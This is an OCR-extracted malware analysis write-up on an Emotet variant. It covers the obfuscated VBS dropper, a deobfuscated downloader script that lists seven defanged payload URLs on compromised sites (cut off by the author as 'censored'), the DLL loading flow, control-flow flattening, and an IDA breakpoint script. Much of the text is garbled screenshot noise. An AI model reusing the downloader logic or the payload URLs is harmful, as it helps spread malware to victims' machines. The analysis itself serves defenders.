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ENQLEL &

Emotet is a sophisticated, modular form of malware that initially emerged as a banking Trojan in 2014 but has
evolved over the years to become a highly prevalent and versatile threat. Known for its ability to deliver additional
malware payloads and act as a distributor for other cybercriminals, Emotet has established itself as one of the most
notorious forms of malware on the internet. Emotet operates primarily through phishing campaigns, often
embedding malicious code in Word or Excel documents, or via links that, when clicked, initiate the malware’s
download. Its worm-like features also enable it to spread rapidly across networks, making it an effective tool for

large-scale cyberattacks.

Emotet is related to the threat actors called Wizard Spider, whome are also known to operate other malware
campaigns like Trickbot and Ryuk Ransomware. In this post, we will deeply analyze latest Emotet variant

emerging after the take down and explain its internal workings and defense evasion tactics.

Stage 1: VBS Dropper

The initial dropper comes in either a malicious document including vba macro or a standalone vbs script that is

highly obfuscated and downloads additional payloads onto the system including the main emotet dll.
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Q{ Ch\Users\shaddy\Desktop'31fb4bf411dcd7fcb860bdb1db26859290b047b39b94638a7d4fd2a46d323e98.vbs - Notepad++ — O

File Edit Search View Encoding Language Settings Tools Macro Run  Plugins  Window 7 +

X
¥ X

sHEHRER Al sk oty 2% BEH =1 EEFRe® @B E EEEE ~ v = E

E 31fb4dbf411dcdTfcbB60bdb1db26859290b04Th30094638a7d4fd2ad6d323e98.vbs ] |

HCmew = 1CnbvWGV+left (ADWvHMwe.gettempname, 7) + Iighr. {StrReverse (ADWvHMwe . gettempname) ,8)+" . cxt”
8 Set BNgmwgH = ADWvHMwe.CreateTextFile (HCmew, True)

S BNgmwgH.WriteLine

10 BNgmwgH.WriteLine
11 BHgmwgH.WriteLine

sy + (""ytxznb\pukfalsepropose doneyperformingyproposey™™) ™)

L= BNgmwgH.WriteLine
13 BNgmwgH.WriteLine
14 BNgmwgH.WriteLine
15 BNgmwgH.WriteLine
16 BNgmwgH.WriteLine

17 BNgmwgH.WriteLine
8 BNgmwgH.WriteLine
S BNgmwgH.WriteLine
) BNgmwgH.WriteLine
BNgmwgH.WriteLine
BNgmwgH.WriteLine

3 BHomwgH.WriteLine
24 BNgmwgH.WriteLine
] BNgmwgH.WriteLine
26 BNgmwgH.WriteLine

2 BNgmwgH.WriteLine
28 BNgmwgH.WriteLine
29 BHomwgH.Writeline
30

BNgmwgH.WriteLine
31 BNgmwgH.WriteLine
B BNgmwgH.WriteLine
33 BHNgmwgH.WriteLine ("f
34 BNgmwgH.WriteLine ("ck
£
To debug the vbscript:
Setup Command Description
Install Visual Studio with cscript /x It will automatically attach VS Debugger to it and add
.net tools target_vbs breakpoint to the start

The first script extract another VBS script saved in .txt file in the %temp % directory and execute it as a vbs

script:
Setup Command Description
Again debug the second cscript //E:vbscript /x It will treat the text file as vbs script and
script using Visual Studio extracted_script.txt execute it regardless of the extension

984\puk56394 \puk47236\puk52056 \puk50610pukd 7718 \pukl5424\puk54948"

1 FbCTOqd = ~
2 PAnbcEW = "=

3 PcnVGBEWQ = ", n

4 HeCTQgd = left(NbC.'l'qu 5) + right (NbCTQgd,5) + "=" + space(l) + left (PcnVGBEWQ, 6) + right (PcnVGBEWQ,6)

=] Set ADWvNMwe = Createlfbject("Scripting.FileSystemd b""t,")

& 10nbvWGVx = ADWvHMwe.GetSpecialFolder(51 - 7 % 7) + "\" 4+ left (ADWvMMwe.gettempname,7) + right (StrReverse (ADWvHMwe

I attached debugger to the extracted second script in %temp% and started debugging. It is again deobfuscating the

script and executing it. The decoded script is as follows:
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O File Edt View Git Project Buld Debug Test Anshze Tools Extensions Window Help | O Search-  cscript RSignin  —

fe-olp-sr@ -l L e comme- BB @0 O[>t 2T [F iy LR RS
i Process: |[7836] cscript.exe -| 5 Lifecycle Events ~ Thread: [(7116] Threzd 7116 - P Stack Frame: | VBScript global code -l

- & GitHub Copilot |2

radEE1DA3 1C...t [dynamic] & & X
&

(P Script Documents ~|| @ <global> - - -
For solelyy = 1 to Ubound(stiry)
eelcatfishy = eclcatfishy & chr(Clng(stiry(solelyy)) / 482)
Next
=] execute eeleatfishy
Pl
@ No issues found 4 b In:1186  Ch:61  Cok64  TABS  MIXED
Locals X Call Stack % Text Visualizer X
[searchcui-p) P[] Search Depth: || | B8 Viewall Tnreads | Show External Code || Epression: [eelcatfishy 3]
Name Value Type = W[ search (Ctri+E) A
© opennessy “opennessy’ QView ~ String Name Lang - | ™9 [None ]
@ timedy ‘Juznfy\\pukfalseformerlyygreatestyga.. Q View ~ Sting @ VBScript global code [radEE1DAICT darradAE... Scr.. | Value:
@ arousedy “arousedy” @ View ~ String 1t romid
& pathy "\puk” QView = String P“l e :Tl Y
b 2 loftyy {wd Array of Variant urieount= T e
@ asserty assety” QView = Sting set fsobject-createobject("scripting. filesystemobject”)
& complimented et o currentdir=fsobject. getparentfoldername (uscript. scriptfullname)
& P ¥ = g set request=createohject("winhttp.winhttprequest.s.1")
> illusedy public romidutrurlcount=Trset fsobj.. O.View = Sting - Jdnht request.
© steadfastlyy “steadfastlyy” QView ~ String set file-uscript.createchject( shell.application”)
@ cucumbery "xuejsci\pukfalsekindsyproportionedy... O, View ~ String B3 S AR ) .
& . i useragent="nozi1la/" rv:i58.0) gecko/20100161 firefox/58.0
5 assurancesy assurancesy QView + String z < T8 (= oetol
© affecttiony “puk” QView ~ String ouch= chr(115-1)4"e™+"gs & "y " +chr (11341)473"+72. "+chr(101)+"x"+chr(181)4" " 4
+ @ immediat o A Variant pat3= currentdir:"\"+fsobject. gettempnanet” . zip"
S repory <« eporty” Aview = i set triplett=cresteobject ("wscript.shell®)
o’ b\::ky ZE; LDH; urll = "http://erkaradyator.com.tr/Areas/1Dg2PeStqN10juPP3fu/™
© answersy “public rormidururicount=Tuset frobi.. OLView = Sting url2 = "https://sachininternational.com/up-admin/ ILVDnLNIATbS/ "
S viei B B - . url3 = "https://esentai-gourmet.kz/484/50e050kBsHedang/"
@ visity visity @ View + String https >
@ northerny “lyzgzr\\pukdfalsesttemptedyminiature... O, View = String urla http.//ardena.pr‘u/dq\fcakr:/ﬂh;/
ke ur. +4/panel. chatzy. in/k7da usTmkuias o
© hakey akey' QView = String 15 = "http://panel.chatzy.in/k7dagAXFTBus7mkuwwC/UQIYERRGOOQS/ ™
© armiabl ot View - St url6 = "http://toisagrosciencesl.hospedagendesites.us/grupotoia/CPKUSZE/"
N Q’nmthw?:d;y ( )p Mafuﬂmm url7 = "https://supplicrcity.com.mx/wp-content/xDubuSTo3yEX43M0g/ "
@ privilegey “privilegey” QView ~ String do
@ nobodyy 2678 Long g
@ ungenerousy *public romidutrurlcount=Turset fsob... O, View + String Hp I e
© desiredy *desiredy” QView ~ String R Gt o
@ initatedy “iedska\\pukfalsefortunatelyycivilityya... Q. View ~ Sting on error resume next
@ luminousy “luminousy" QView + String EEIEEE @R IR
@ sendingy “Wpuk” O View + String cese 1
b @ stiny (o5 Array of Variant dounstr=urll
© dutiesy “dutiesy” QView ~ String case 2
@ solelyy 2501 Long ComE A
@ eelcatfishy *public remidutruricount=T\rset fsobj.., QView = String cose 3 -

Locals [FEEEE Break.. | Eccep.. Com.. Imme. Output [NEARSERVENS

Deobfuscated VBS

public romidu
urlcount=1
set fsobject=createobject("scripting.filesystemobject")
currentdir=fsobject.getparentfoldername(wscript.scriptfullname)
set request=createobject("winhttp.winhttprequest.5.1")
set file=wscript.createobject("shell.application")
set strout=createobject("adodb.stream")
useragent="mozilla/5.0 (windows nt 6.1; wow64; rv:58.0) gecko/20100101 firefox/58.0"
ouch= chr(115-1)+"e"+"gs"&"v"+chr (113+1)+"3"+"2. "+chr (101)+"x"+chr (101)+" " + ""
pat3= currentdir+"\"+fsobject.gettempname+".zip"
set triplett=createobject("wscript.shell")
urll = "hxxp://erkaradyator.com.tr/Areas/1Dg2PeStgqN10juPP3fu/"
url2 = "hxxps://sachininternational.com/wp-admin/ILVDn1mIATb8/"
url3 = "hxxps://esentai-gourmet.kz/404/50e@50kBsHedqng/"
url4 = "hxxp://ardena.pro/dqvoakrc/Hh9/"
url5 = "hxxp://panel.chatzy.in/k7dagAXFTBus7mkuwwC/UQ9Y8RRqo0Q9/"
urlé = "hxxp://toiaagrosciencesl.hospedagemdesites.ws/grupotoia/CPKUSZE/"
url? = "hxxps://suppliercity.com.mx/wp-content/x0ubwST@3y6X49M0q/"
do
dow
loop while urlcount<8
public function dow()
on error resume next
select case urlcount
case 1

downstr=url1l
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case 2
downstr=url2
case 3
downstr=url3
case 4
downstr=url4
case 5
downstr=url5
case 6
downstr=url6
case 7
downstr=url7

end select

censored !!!

The script is further downloading pyaloads from the provided URLs and executing the next stage malware which
is the emotet dll using rundl132.exe. By the time of my analysis the c2 servers were not live so i picked a separate

Emotet dll for further analysis.

Stage 2: Emotet DLLL

Once the Emotet file is loaded by “rundll32.exe”, its entry point function is called the very first time. It then calls
the DIIMain() function where it loads and decrypts a 32-bit DIl into its memory from a “Resource” . The
decrypted DIl is the core of this Emotet, which will be referred to as “X.dll” in this analysis due to a hardcoded

constant string.

QP DA - emotet

EEH e @pihE & ) A EBAQidaget Frdwm X[ » O Local windows debugger | % | i

Library function Ml Regular function Ml Instruction " Data M Unexplored | External symbol Ml Lumina function
Debug View B & Structures [l
DA View-EIP O &8 x ||[© Hexview1

81 45 FC D3 4F 88 88 81 75 FC 93 9B A3 84 (7 45
F4 35 47 €8 @8 (1 65 F4 @8 81 4D F4 22 BD A7 F8
81 75 F4 22 85 EB F8 88 45 F4 8B 45 FC 8B 45 F8
8B 45 F@ E8 7F F6 FF FF 83 €4 14 56 FF 75 08 6A
75 10 FF D@ SE 88 E5 5D C3 G 8B EC 83 EC
65 E4 90 33 D2 83 65 E8 00 (7 45 E@ B3 FE
€7 45 F@ 3C 6B 51 00 6B 45 FO 06 GA 66 59
FB 81 75 F@ FC 99 ES 01 C7 45 F4 9 1B F7
65 F4 07 81 75 F4 EB BC 88 7B C7 45 F8 (E
88 C1 6D F8 BA C1 6D FB8 BE 8B 45 F8 F7 F1
F8 81 75 F8 3D F4 @D @@ (7 45 FC 5B BE EA
45 FC 4F 89 45 FC (1 65 FC @B 81 4D FC 47
9A 81 75 FC EB F4 FA DA C7 45 EC B3 69 8B
75 EC BD 9B B7 69 88 45 F4 8B
@6 8B 45 EC 8B 45 FC 8B 45 F8
FF 59 59 8B ES 5D C3 55 8B EC
56 56 FF 75 18 FF 75 14 56 FF
51 EE F5 @4 FF FF (7 45 F@ 1A
81 45 FB FD 2B 0@ @@ 33 D2 81
F4 81 E4 91 88 81 45 F4
F4 37 CF 92 88 (7 45 F8 9C EF
@3 59 F7 F1 68 9D 5B D3 31 89
@A FF FF C1 6D F8 @D 81 75 F8
FC D2 76 16 @9 6B 45 FC 12 51
p— velp 6A GE 89 45 FC 6B 45 FC 3B 89

81 75 FC FB B6 9D 75 88 45 FC
[FEeExTrsoIIC [PIUIDETE 545 FE BB A5 F4 85 45 FO ES 09 F5 FF FF 83 C4
14 FF 75 ©C 56 56 FF 75 14 56 FF DB SE 86 ES 5D
C3 55 8B EC 83 EC 1C 56 57 FF 75 3C 33 FF 8B F2 .u<3..
FF 75 38 FF 75 34 FF 75 3@ 57 FF 75 28 FF 75 24 .u8.ud.u@W.u(.u$
FF 75 2@ FF 75 1C 57 FF 75 14 FF 75 18 FF 75 8C .u-.u.W.u..u..u.
57 56 51 E8 19 @4 FF FF 83 (4 4@ (7 45 E4 87 E6 WVQ.
2C 80 €7 45 E8 62 49 60 6@ 33 D2 89 7D EC €7 45
F@ 89 7F 98 68 8B 45 F@ 6A 5A 59 F7 F1 6A 79 89 o0
45 FB 33 D2 81 75 FO 9F 54 ©A 00 (7 45 FC 4D DE E....U........ M.
“ainasa EE am R1 AN Er RE 0a A- AR GR AR Er 9F S da o= worELE v
100.00% (-41,35) (328,0) 00000SBF 740011BF: Control RunDLL+1F (Synchronized with EIP) [UNKNOWN 0301D73B: x.d11:0301D73B v

- text: 74801148 2
- text: 74801140 2
.text: 7480110 ; Attributes: bp-based frame 2
.text: 74001140 2
.text: 74001146 public Control RunDLL 2
.text: 74001148 Control RunDLL proc near 2
. text: 74001140 le3
.text:74@81148 arg 8= dword ptr 1eh 2
. text : 74001148 2
e

. text:748611A1 mov ebp, esp
.text: 74801143 mov ecx, dword_748473CC

Ltext:740011A9 mov edx, offset aControlRundll @ ; “"Control RunDLL"
Ltext:748011AE call sub_744
.text:740011B3 test eax, 3
.text:740011B5 jz short 1

O Debug application setup: win32 *

Application | C:\Windows\SysWOWE4'rundl32.exe ~|

Inputfie | Ci\Users\shaddy\Deskiop\emotet.di ~|

i 5]
- text:748811B7 mov [ebptarg_8], offset aControlRundll_1 ; (| Directory | Ci\Usersishaddy\Desktop |
.text:748811BE pop ebp
Ltext:748811BF jmp eax Parameters

S e e S g
I3
8}
B
n
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I use IDA freeware (sometimes pro) for disassembling and debugging most of the malware. I will debug emotet
dll using rundll32.exe. The X.dll could be seen in the memory of process using ProcessHacker tool. It could be

dumped and unmapped using the pe_unmapper tool by Hasherzade.

3 & 3 Bl W Q| ohighet e X > OO e vindnsceoes | fa S B R
- e

M mnstruction | Data [ Unexplored | External symbol Il (3 rundiiz2 exe (536) Properties - g x
Debug View General Statistics Performance Threads Token Modues Memory Environment Handles GRPU  Comment Enums
[ Hide free regions S Refresh B || 1Bk eneral regiters a
. text: 74681148 <[4 |[eaxe3e10738 & x.d11:03e10730
stextizagellse ! Base address Type Sze Protect.. Use Totdl WS Private WS Shar » SBX 03174575 b debuglan:03174575
~text:740011A8 ; Attributes: bp-basei 0xbc0000 Private 4kB RW Heap (ID 1) 28k8 BkB ECX 0PBABABE '
DOES orie @I, Ol 0xbd0000 Mapped 8048 R C:\Windows\Bystem32Yocale.nls 5618 MR s o dIElrE T
.text:748@11A8 Control RunDLL proc n 030000 Private 25618 RW Stack (thread 5952) 1648 16k8 :|x ESI 74881148 & Control RunDLL
P —— 0%c20000 Frivate 25 k8 i Stack 32-bit (thread 5992) 12k8 12k8 ——
.text:748@11A8 arg_8= dword ptr 18h EX::EEEE ';WBE 255: :::A: Stack (thread 4452) lj:‘ 1;:2 EBP @RB2FEAC % Sta
. text:74001140 x rival
80B2F62C b St
0xd70000 Private 4kB RW 4kB 4kB I E=P 7490116F :: c at 1 RunDLL+1F
- £eXT:740011A1 mov ebp, esp 0xd80000 Private 4k RW 4k8 4k8 :;T ol S
- text:740011A3 mov E;‘: d::;”t”@ 0xd90000 Image 80K WCX C:\Windows\SysWOWS4yrundl32.exe 60 k8 12kB ezl
:2;&%22 e :u;_’:@e;:;; oxcb0000 Mapped 32,768k NA 1641k8 84kB |
text:74681163 test — — 0x2db0000 Private 256k8 RV Stack 32-bit (thread 4452) 12k8 12k
.text:740011B5 jz short loc_7404 0x2df0000 Mapped 1668 R 4k
02200000 Private 2,048 RW = 5648 5648
¥ v 0x3000000 Private 164kB  RWX 164 kB 164 kB
0x3000000 Frivate: Commit 164k RWX 1654k8 164k8
“ebprarg_a], offset acontrolRundll 1 ; “Control 03030000 Mapped 90418 R 16k8
bp - = 1 0x3120000 Private s4KE RW Heap 32:bit (ID 3) 4k8 4k8
[-" 0x3160000 Private 1024k8 RW Heap 32-bit (D 1) 58k8 58k8
0x3260000 Mapped 1,590k R 2448
0x33f0000 Private 25648 RW Stack (thread 2452) 1248 1248
0x3430000 Private s4kE RW Heap 32bit (ID 2) 2048 Wk8
0x3440000 Mapoed 2,044 R 12k8 v
0x3640000 < >
Close
00SBF 740011BF: Control RunDLL+1F (Synchronized with EI 1

The flow of emotet is like this:

“X.dll” checks if the export function name from the command line parameter is “Control_RunDLL”. If not, it
runs the command line again with “Control_RunDLL” instead of some other export, like
“C:\Windows\syswow64\rundll32.exe emotet.dll,Control_RunDLL”. It then calls ExitProcess() to exit the first
“rundll32.exe”. it uses API CreateProcessW() to run the new command if the initial DLL has not been loaded with

Control._ RunDLL.

We can further use the dumped x.dll and rebase the program according to the one which we are debugging
currently and map the exports to the functions that are being called as well. Example, call eax jumps to the Export

Contro_RunDLL in x.dll which is mapped in the following screenshot:
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2H e~ & 3 - B ohche o~ e X » D O o Windowsdebuoor | %1 F B B¢
* U 11 | Lt A AR ARNLIWILTW N et

Library function Bl Regular function [l Instruction [ Data I Unexplored | External symbol [l Lumina function

Debug View [x] Structures B E Enums
IDA View £IP B & x || Hexview1 1Bt General registers [a]
-Text:740011A6 arg 5= dword ptr 10h 3810672 81 45 FC D3 4F 8@ @@ 81 75 FC 93 9B A3 84 (7 45 .E. EAX@301D73B 4 x.d11:03010738
- text:740011A0 3810760 F4 35 47 CB 6@ C1 65 F4 88 81 4D F4 22 BD A7 F8 . EBX03174E75 b debugl39:03174E78
63810710 81 75 F4 22 85 EB F8 8B 45 F4 8B 45 FC 88 45 F8 .u.
.text:740011A1 mov  ebp, esp 63910720 8B 45 Fo EB 7F F6 FF FF 83 C4 14 56 FF 75 08 6A .E. [FREieiiailE D
+1EXE1740011A3 mov ecx, dword_749473CC 3610730 @@ FF 75 10 FF D@ SE 88 ES 5D C3 [ 88 EC 83 EC . EDX 03824040 % x.d11:03024040
~text:748811A9 mov. edx, offset aControlRundll @ ; "Control RunDLL" [23010740 20 83 65 E4 @@ 33 D2 83 65 E8 @@ (7 45 E@ B3 FE ESI 74001140 Y4 Control RunDLL
.text:748811AF call  sub_74803200 2910750 D5 @8 C7 45 F@ 3C 68 S1 00 68 45 F@ 06 GA 66 50 . SrEma
-text:740011B3 test  eax, eax 3610762 89 45 F@ 81 75 F@ FC 99 EB @1 (7 45 F4 90 18 F7
- 2 . EBP 08B2F6AC % Stack[0820ACDC] :0BB2FEAC
SESEETE TS S short loc_746011C1 3010770 @@ Cl 65 F4 @7 81 75 F4 EB BC 88 7B C7 45 F8 CE . E(k[ ]‘
63910780 DF SF @@ C1 6D F8 @A C1 6D F8 € 8B 45 F8 F7 F1 [EPCEAREE [ SEEy[Er i e LR e
v v (93910790 89 45 F8 B1 75 F8 3D F4 @D 08 (7 45 FC 5B 6E EA .E. EIP 7406118F & Control RunDLL+1F
5= cd = DSCiCThe 03 A sA 51 7% rC 5 ra A DA C7 a3 £C 53 o0 a8 | —
t:74001167 mov [ebptarg_8], offset aControlRundll 1 ; "Control RunDLL”| [.text:740811C1 b3e107ce 00 C1 65 EC 10 81 75 EC 0D 95 07 69 85 45 4 85
et T stentizsmontcr loc paworact: N IEEITS0 85 0o £ or 30 o0 oo 55 45 c 8 45 FC 53 43 Fa
= 2 4 e or Gy 2010780 51 51 ES 44 EL FE FF 50 59 38 E5 5D C3 55 86 EC QQ

DS AR el o) bse107F0 83 EC 16 56 33 F6 56 56 FF 75 18 FF 75 14 56 FF

@ DA - outdil L ktop\Addi | Tools\pe. pp: .l - o X
File Edit Jump Search View Debugger Options Windows Help

FH e - HEmd S 3 A DO FddFFew X Local Windows debugger ~ | 9] [k | &) @ §¢

L. ‘" | I
3 H

Library function [l Regular function Ml Instruction || Data [l Unexplored | External symbol [l Lumina function

Functions "8 x IDA View-A, Hex View-1 B B® Structures B & Enums [x] Imports B &= Exports 8

Function neme ~ || = A viewa 0 8 x ||[© Hexview1 A5 x
sub_300193C 3610650 B B1 75 F@ £9 E@ F8 FB (7 45 F8 AC DB 36 00 68 ..u.... i
sub_3001C20 . 301060 45 F 38 53 65 77 5F F3 83 51 65 BE FF 10 BD 89 E.;Yhw_..0h
1b_3001CFO ] lp361D6C0 45 F8 6B 45 F3 36 51 63 33 02 08 60 89 45 F3 €1 E.kE.0Qh3....E

sub_3001DB2 ; Exported entry 1. ControlIRundi] 73610600 6D F& GE 51 75 F8 DE 14 04 80 C7 45 FC 2F 73 8D m...u.. B
sub_30021C2 - [F36106E0 @@ B1 4D FC 4E 43 ES 53 8B 45 FC F7 F1 83 45 FC ..M.NC...E....
sub_3002364 [P361D6F0 81 45 FC D3 4F 0B @0 81 75 FC 93 OB A3 @4 (7 45 .E.....

sub_3002735 ; Attributes: bp-based frame [P3610760 Fa 35 47 C8 @0 C1 65 F4 03 81 4D F4 22 BD A7 F8
sub_3003894 lp3e10719 81 75 F4 22 85 EB F8 8B 45 F4 8B 45 FC 88 45 F8
sub_3003FD4 public Comtrol RunbLL lp3e10720 88 45 F@ E8 7F F6 FF FF 83 (4 14 56 FF 75 08 6A
sub_3004100 Control_RunDLL proe near p3610738 @@ FF 75 1@ FF D@ SE 8B E5 5D C3 G 88 EC 83 EC
sub_3004104 - [P3610740 28 B3 65 E4 @0 33 D2 83 65 EG @@ (7 45 E@ B3 FE
sub_3004231 var_20= dword ptr -2eh [P3610750 DS B C7 45 Fb 3C 68 51 06 68 45 FO 06 6A 66 59
sub_30042D9 var_1c= dword ptr -1ch 3610760 89 45 FO 81 75 FG FC 99 E3 1 (7 45 F4 90 1B F7

100.00% (24,145) (805,355)

= output

TeaeT T0ATET CT \WITOW:
PDBSRC: loading symbols fo

PDB: using PDBIDA provider F6AC

Could not find PDB file ''|I'Fl o p 3004380 var_18= dword ptr -16h 3010770 @@ C1 65 F4 7 31 75 F4 EB BC 33 7B C7
Please check NT_SYMBOL_PAY[F] 5 3004410 var_14= dword ptr -1ah p361D780 DF SF 00 C1 6D F8 @A C1 6D F8 OF 8B 45
PDB: Failed to get POB fild[F7] op 3004767 var_16= dword ptr -loh 2010790 82 45 F8 51 75 F8 30 F4 @D 0@ C7 45 FC .

77D85040: thread has start

h_3004804 var

dword ptr -8Ch [p301D720 @@ 6B 45 FC 4F 89 45 FC C1 65 FC @B 81

Y o e e e e e e |

Caching 'Imports’... ok sub_3004032 var_8= dword ptr -8 lp3e10780 @2 A3 9A §1 75 FC EB F4 FA DA C7 45 EC
e Sub_3004F6F . var_a= dword ptr -4 lp3e107Co @@ C1 65 EC 10 81 75 EC BD 98 B7 69 88 -E. Bromized wicn
S — o UL L et R 3610702 45 Fe €3 @1 25 0@ @@ 8B 45 EC 88 45 FC 88 45 F8 E.. N e

I have created a function in IDA database and renamed it as Control_RunDLL_xdll for easier understanding.

Debug View @

IDA View-EIP

®.d11:8301D0738 ; =============== S U B R O U T I N E ======s===============ss=ss==ss==s====
®x.d11:8381D0736

¥.d11:83810738 ; Attributes: bp-based frame
®.dl1:@83810736

%x.d11:83810738 Control RunDLL_xdll proc near
®.d11:@3810736

%.d11:8301D073B var_28= dword ptr -28h

*.d11:83810738 var_1C= dword ptr -1Ch

¥.d11:8381073B var 18= dword ptr -18h

%x.d11:83810738 var_l4= dword ptr -14h

¥.d11:8301D0738 var_18= dword ptr -1@h

%.d11:8301073B var_C= dword ptr -8Ch

¥.d11:83810738 var_8= dword ptr -8

%x.d11:8301073B var 4= dword ptr -4

%x.d11:@3810736

3y | ¥ x.d11:8381D73B push ebp

®.d11:@381D073C mov ebp, esp

®x.d11:8381073E sub esp, 28h

x.d11:83810741 and [ebp+var hic], @

x.d11:83810745 xor edx, edx

x.d11:83810747 and [ebptvar_18], @

®.d11:@8381D074E mov [ebp+var_28], offset unk DSFEB3
¥.d11:83810752 mov [ebpt+var_1@8], 516B3Ch
%x.d11:83810759 imul eax, [ebptvar 18], &
%x.d11:83810750 push 66h ; 'f'

¥x.d11:@8381D075F pop ECx

®.d11:83810768 mov [ebp+var_18], eax
®.d11:83810763 xor [ebpt+var_1@], offset unk_ 1EB99FC
%x.d11:@381D076A mov [ebp+var C], offset unk F71B98&
%x.d11:@3810771 shl [ebptvar_C], 7

¥x.d11:8381D0775 xor [ebp+var_C], 7BBBBCEEh
®.d11:@381D077C mov [ebp+var_8], SFDFCEh

®.d11: 83810783 shr [ebpt+var_8], @aAh
%x.d11:@3810787 shr [ebp+var_8], ©Eh
®.d11:@381D73E mov eax, [ebpt+var_8]
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From here onwards, it will execute core malicious functionality of emotet malware.

The main method for performing malicious functionalities is highly obfuscated with Emotet introducing “Control

Flow Flatening”. The complexity of control flow logic can be seen by the following control flow graph:

EH e > GH&4 S ) A QA0 chadet e X » D O - %P F P
& NN L 11101 T I T e U MU NN TIMIT W @il |

Library function [ll Regular function il Instruction | Data [ Unexplored = External symbol [l Luming function
Debug View g @A Structures 3] Enums
DA View-E1P O & x || Hexview-t

Bt General regsters =]

74 23 38 D3 75 38 FF 74 24 18 8D 51 04 8B 4C 24
20 EG B8 2C 02 0@ 33 (4 04 @3 FO 5F 8B C6 SE 5D -.....

EAX BBOBLAIS

EBX @3174E78 4 debugl39:83174E78

ECX 60000066 4

DX 60006006 -

ESI 740011A0 4 Control RunDLL

D1 60000000 -

EBP @0B2F628 & Stack[B0686CDC]:00B2F628
ESP @0B2F604 4 Stack[2000eCDC]:e0B2F604
E1P 0301FCD8 4 x.d11:loc_381FCDB

EFL BBA28286

SB 83 C4 10 C3 88 D7 EB D1 88 44 24 10 5B 44 24
14 51 E8 2D 76 FF FF 83 C4 @4 8B DI 03 FO 81 FA
C3 42208 75 B4 EB D3 [ 88 EC 83 E4 F8 81 EC ..
80 02 09 0 C7 44 24 38 3B @8 10 0@ 33 D2 81 4C
24 38 BA 67 6F AB 81 74 24 38 7B OC BS 39 6B 44
24 38 2F 53 55 56 57 89 44 24 48 BE 33 E8 DE 02
81 74 24 48 42 51 28 F3 (7 84 24 BC 01 @8 80 94 .

A1 6C 88 C1 AC 24 8C 1 08 09 @B 81 B4 24 8C @1 .1...5..
@0 80 94 6D BB 60 (7 84 24 3C 81 0B 08 94 1F 4F i
@0 85 84 24 3C 01 60 60 6A 1E 59 F7 FL 6A 4D 89
84 24 47 61 B 00 33 D2 C1 AC 24 40 ©1 80 60 0B
83 B4 24 40 B1 00 60 53 C7 84 24 0F 02 60 60 52
DB DB 0 81 5C 24 83 62 ©0 @0 10 65 5C AF 81 B4
24 05 62 00 B AD AD D1 AF C7 84 24 7C 01 00 00
AS 8F 57 @0 51 84 24 7C ©1 0@ 0 E AB FF FF 8L
B4 24 7C @1 08 @@ BC A7 SF @8 C7 84 24 58 @1 00
@0 3E 1A 76 0B 88 34 24 58 @1 80 08 59 F7 F1 6A
4B 89 24 24 58 01 0@ 6@ 33 D2 8B 84 24 58 G1 08
@0 5F F7 F7 89 84 24 54 ©1 00 60 81 B4 24 54 01 .
@0 00 13 75 @D 00 C7 44 24 40 B4 CA 6C 00 81 44 ..
24 40 58 45 90 00 68 41 24 40 69 89 44 24 40 68
4424 48 22 B9 44 24 48 B1 74 24 48 88 86 34 F1
C7 84 24 99 @6 @0 88 FD (4 92 60 81 B4 24 96 00 W
@0 88 D7 1D @6 @@ 81 BC 24 98 60 08 09 25 68 EF ..
SA 6B 84 24 9 0@ B0 80 50 89 84 24 96 88 60 60
81 B4 24 90 B 00 60 D4 14 FC 6F C7 84 24 23 01
@0 00 27 4C B2 00 31 8C 24 28 61 0B 00 7E 10 5A
FE CL AC 24 28 01 80 60 ©F 51 B4 24 28 61 60 00
©7 @D 6C 60 C7 84 24 D4 ©1 @0 00 FO FC CE 00 81
B4 24 D4 ©1 0B 00 54 FO F7 60 1 B4 24 D4 01 00
@0 67 BC 33 60 C7 44 24 3C EQ 68 45 00 51 44 24
3C 9A 78 FF FF 81 44 24 3C @6 12 FF FF C1 64 24
3C @C 81 74 24 3C A5 @6 B3 98 C7 44 24 6C 58 E6
03018CD8: sub_301FCDS (Synchronized with TP, IDA View-EIP) v

I%l = — — [—

= :‘:l:;: =

B aa il
B 5 S T

j—‘ ——I\_'_.l_._h —— \—l—'_l_1—r

il o S N I i ;—‘—-—Ll_i\__l'—‘!_._l|

== 1T

I 1l

—

13.42% (1€71,11458) (808,476) UNKNOWN 0301FCDS: sub_301FCDS (Synchronized with EIP, Hex View-1)

Gutput o e x | 2] Threads Modues, Stack view
PUBSKCT To8aTg SyOOTS Tor—CIUSer premeTeT-aIT ~ BB o - =
PDB: using PDBIDA provider
Could not find PDB file '’ Path Base  ~ |[POB2FG4 03010707 Control RunDLL_xdl1+5C
Please check _NT_SYMBOL_PATH W oW 8 x545tack[00201164] :unk_DSFEB3
PDB: Failed to get PDB Tile details from 'C:\Users\shaddy\Desktop\emotet.dll’ AR ity c
77005940 thread has started (tid=2452) 3 ChtindonsyaONEApadl S00000] o 00000000
Caching "Imports ok . . E -l lamrsthadriNe skantemotet dl annnnnn & 0oas9EED
3010738: can’t rename byte as 'Control RunDLL' because the name is already used in the program. vl|¥ £ 5 08001804
C | [UNEJNOW 00E2FE04: Stack[0DDODCDC]: (Synchronized with I

Fileless X.dll

Emotet.dll when started loads x.dll from resources. It is added as a malicious encrypted resource in bitmap format.
Once x.dll is decrypted and loaded into the memory as RWX region, it acts as the main malicious code. It has

anti-analysis techniques like “code flow flatening”, “dynamic api calls”, “api hashing” and encrypted strings.

I have not been able to find a working script that could unflaten this sample of emotet. I have tried multiple

resources like:

# Links
1 HexRaysDeob
2 Sophos control flow de-flatenning

3 MODeflattener

In the end, I decided to go manual. I wrote a script that adds breakpoints on all call instructions in specified

function and used it on main flattened function.

import idautils
import idaapi

import idc
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def add_breakpoints_on_calls(func_name):
# Get the function address by name
func_ea = idc.get_name_ea_simple(func_name)
if func_ea == idc.BADADDR:
print(f"Function {func_name} not found!")

return

# Get the function's end address
func = idaapi.get_func(func_ea)
if not func:
print(f"Function {func_name} not found!")

return

# Iterate through the instructions in the function
for head in idautils.Heads(func.start_ea, func.end_ea):
# Check if it's a call instruction
if idc.print_insn_mnem(head) == "call":
# Add a breakpoint at the call instruction
idc.add_bpt(head)
print(f"Breakpoint added at @x{head:x}")

print(f"Breakpoints added on all call instructions in function: {func_name}")

# Example: specify the function name where you want to add breakpoints

add_breakpoints_on_calls("Flatten_func") #Flatten_func is the "code flow flatenning function that i renamed"

Output ™

Breakpoint added at Bx4h9193ﬂ
Breakpoint added at 8x4b91975
Ereakpoint added at @x4b919af
Ereakpoint added at @x4b319d5
Breakpoint added at 8x4h919fe
Breakpoint added at @x4h91als
Breakpoints added on all call instructicns in functicn: Flatten_func

I then continue the debugging until something suspicious came my way instead of debugging the code line by line.
